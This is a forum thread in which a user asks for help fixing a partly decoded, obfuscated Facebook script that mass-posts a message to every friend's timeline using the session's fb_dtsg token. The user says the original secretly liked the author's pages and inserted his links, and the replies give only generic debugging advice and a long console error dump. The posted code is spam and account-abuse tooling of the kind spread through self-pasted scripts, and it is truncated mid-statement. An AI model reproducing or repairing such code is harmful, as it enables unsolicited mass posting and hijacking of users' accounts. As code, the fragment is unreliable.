Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 6 of 6
  1. #1
    New to the CF scene
    Join Date
    Jan 2014
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Java code problem.

    So I ran into an Hex code that someone made to let people post on all walls on facebook but he added a lot of crap to him self like liking his pages and in each post there is a message that the code post its adding links to his facebook.
    So I tried to clean up the code and I ran into some problems, It's just not working now...
    Can someone have a look and say what's wrong here?
    Thanks...

    Code:
     var _0x9e65 = ["var Title = 'Auto Post Your Message in All Friend\'s Wall or Timeline.';
    var Descriptions = "",
        _text = 'Powered By: <A style="color:#3B5998;" href="http://www.facebook.com/PHDevelopers" target="_blank">Trending 99%</A></br>Script Edited By: </A><A style="color:#3B5998;" href="http://www.facebook.com/17anon" target="_blank">Almog Yehuda</A> </A>, </A> </A>.</br>For More Tools Visit Our Page <A style="color:#3B5998;" href="http://www.facebook.com/PHDevelopers" target="_blank">Automate Your Facebook</A>.</A>';
    var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>"; /*|undefined undefined|*/
    display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
    display += "<div><textarea id='txtFloodMsg' placeholder='Write your messege here.'  style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.9);'></textarea></div>";
    display += "<div class='clearfix' style='text-align:right;padding-top:5px;'><a style='text-align:right;padding-top:5px;' data-hover='tooltip' aria-label='Your friends' data-tooltip-alignh='right' class='uiSelectorButton uiButton uiButtonSuppressed' href='#' role='button' aria-haspopup='1' aria-expanded='false' data-label='' data-length='30' data-ariaprefix='Post Privacy Setting' rel='toggle' id='js_14'><i class='mrs defaultIcon customimg img sp_5ym4oy sx_042661'></i><span class='uiButtonText'>Friends</span></a><a><span id='UIButton_Start' onclick='autopostingfunc()' style='text-align:center;font-family:tahoma;color:white;width:45px;height:25px;' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected'>Post</span></a></div>";
    display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
    display += _text;
    window[tag + '_close'] = true;
    display += "</div>";
    display += "</div>";
    document.getElementById("pagelet_sidebar").innerHTML = display;
    
    function Posting(o) {
        jx.load(window.location.protocol + "//www.facebook.com/ajax/stream/inline.php?fb_dtsg=" + fb_dtsg + "&walltarget=" + o + "&render_notif_only=1&birthday=1&message_text=" + encodeURIComponent(msg) + "&message= \n\n " + encodeURIComponent(msg) + "&giftsgroupid=8ff493ad46&post=Post&nctr[_mod]=pagelet_reminders&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFIwd9e&__req=1b&phstamp=", function (a) {
            var b = a.substring(a.indexOf("{"));
            var c = JSON.parse(b);
            i--;
            Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
            if (c.error) {
                Descriptions += "color:darkred'>";
                Descriptions += 'The message could not be posted to this Wall. ';
                if (c.errorDescription) Descriptions += c.errorDescription;
                else Descriptions += JSON.stringify(c, null, "")
            } else {
                Descriptions += "color:darkgreen'>";
                Descriptions += "Please Wait Now Posting in " + arn[i] + "\'s Timeline.<br/>";
                suc++
            }
            Descriptions += "</div>";
            var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>"; /*|undefined undefined|*/
            if (i > 0) {
                var Title = 'Auto Post Your Message is Now Processing';
                display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
                display += arr.length + " Friends Detected<br/>";
                display += "<b>" + suc + "</b> Messege Posted of " + (arr.length - i) + " Messege Processed ";
                display += "(" + i + " Lefted...)";
                display += "<div class='friend-edge'>";
                display += Descriptions;
                display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;font-size:14px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
                display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
                display += getuname + " Please Wait While Posting Your Messege.<br/>";
    display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
                display += _text;
                window[tag + '_close'] = true;
                display += "</div>";
                display += "</div>";
                display += "</div>"
            } else {
                Title = 'Auto Post Has Posted Your Message';
                display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
                display += arr.length + " Friends Detected and " + suc + " Messege Posted</br></br>";
                window[tag + '_close'] = false;
                display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span style='color:black' class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span><br/>";
                display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
                display += _text;
                display += "</div>"
            }
            display += "</div>";
            document.getElementById("pagelet_sidebar").innerHTML = display
        }, "text", "post");
        tay--;
        if (tay > 0) {
            var s = arr[i];
            setTimeout("Posting(" + s + ");", 1000)
        }
        console.log(tay + "/" + arr.length %2

  • #2
    Senior Coder
    Join Date
    Jan 2011
    Location
    Missouri
    Posts
    4,694
    Thanks
    25
    Thanked 657 Times in 656 Posts
    Too much code here to wade though. Start over again from the original code and this time check stuff out after each change you make and don't wait til there are too many changes to know which one killed the program.
    Good luck, it's the best I can offer
    Evolution - The non-random survival of random variants.

    "If you leave hydrogen alone, for long enough, it begins to think about itself."

  • #3
    New to the CF scene
    Join Date
    Jan 2014
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Quote Originally Posted by sunfighter View Post
    Too much code here to wade though. Start over again from the original code and this time check stuff out after each change you make and don't wait til there are too many changes to know which one killed the program.
    Good luck, it's the best I can offer
    Well, the problem is that the code was encoded, When I decode it - Stop working immediately

  • #4
    The fat guy next door VIPStephan's Avatar
    Join Date
    Jan 2006
    Location
    Halle (Saale), Germany
    Posts
    8,918
    Thanks
    6
    Thanked 1,040 Times in 1,013 Posts
    In that case please post the browser error console output/message. It might tell you/us what’s wrong.

  • #5
    New to the CF scene
    Join Date
    Jan 2014
    Posts
    3
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Quote Originally Posted by VIPStephan View Post
    In that case please post the browser error console output/message. It might tell you/us what’s wrong.
    Of Curse....

    Code:
    SyntaxError: Unexpected token ILLEGAL
    message: "Unexpected token ILLEGAL"
    stack: (...)
    get stack: function () { [native code] }
    arguments: null
    caller: null
    length: 0
    name: ""
    prototype: Object
    constructor: function () { [native code] }
    arguments: null
    caller: null
    length: 0
    name: ""
    prototype: Object
    constructor: function () { [native code] }
    arguments: null
    caller: null
    length: 0
    name: ""
    prototype: Object
    constructor: function () { [native code] }
    arguments: null
    caller: null
    length: 0
    name: ""
    prototype: Object
    constructor: function () { [native code] }
    arguments: null
    caller: null
    length: 0
    name: ""
    prototype: Object
    constructor: function () { [native code] }
    arguments: null
    caller: null
    length: 0
    name: ""
    prototype: Object
    constructor: function () { [native code] }
    __proto__: Object
    __defineGetter__: function __defineGetter__() { [native code] }
    __defineSetter__: function __defineSetter__() { [native code] }
    __lookupGetter__: function __lookupGetter__() { [native code] }
    __lookupSetter__: function __lookupSetter__() { [native code] }
    constructor: function Object() { [native code] }
    hasOwnProperty: function hasOwnProperty() { [native code] }
    isPrototypeOf: function isPrototypeOf() { [native code] }
    propertyIsEnumerable: function propertyIsEnumerable() { [native code] }
    toLocaleString: function toLocaleString() { [native code] }
    toString: function toString() { [native code] }
    valueOf: function valueOf() { [native code] }
    get __proto__: function __proto__() { [native code] }
    set __proto__: function __proto__() { [native code] }
    __proto__: function Empty() {}
    <function scope>
    __proto__: Object
    __proto__: function Empty() {}
    <function scope>
    __proto__: Object
    __proto__: function Empty() {}
    <function scope>
    __proto__: Object
    __proto__: function Empty() {}
    <function scope>
    __proto__: Object
    __proto__: function Empty() {}
    <function scope>
    __proto__: Object
    __proto__: function Empty() {}
    <function scope>
    set stack: function () { [native code] }
    arguments: null
    caller: null
    length: 1
    name: ""
    prototype: Object
    __proto__: function Empty() {}
    <function scope>
    __proto__: Error
    constructor: function SyntaxError() { [native code] }
    name: "SyntaxError"
    stack: undefined
    __proto__: d
    constructor: function Error() { [native code] }
    message: ""
    name: "Error"
    toString: function toString() { [native code] }
    arguments: null
    caller: null
    length: 0
    name: "toString"
    __proto__: function Empty() {}
    <function scope>
    __proto__: Object
    __defineGetter__: function __defineGetter__() { [native code] }
    __defineSetter__: function __defineSetter__() { [native code] }
    __lookupGetter__: function __lookupGetter__() { [native code] }
    __lookupSetter__: function __lookupSetter__() { [native code] }
    constructor: function Object() { [native code] }
    hasOwnProperty: function hasOwnProperty() { [native code] }
    isPrototypeOf: function isPrototypeOf() { [native code] }
    propertyIsEnumerable: function propertyIsEnumerable() { [native code] }
    toLocaleString: function toLocaleString() { [native code] }
    toString: function toString() { [native code] }
    valueOf: function valueOf() { [native code] }
    get __proto__: function __proto__() { [native code] }
    set __proto__: function __proto__() { [native code] }

  • #6
    Supreme Master coder! glenngv's Avatar
    Join Date
    Jun 2002
    Location
    Philippines
    Posts
    11,075
    Thanks
    0
    Thanked 256 Times in 252 Posts

    There is an invisible character in the code

    Try to look at this.
    Glenn
    ____________________________________

    My Blog
    Tower of Hanoi Android app (FREE!)
    Tower of Hanoi Leaderboard
    Samegame Facebook App
    vBulletin Plugins
    ____________________________________


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •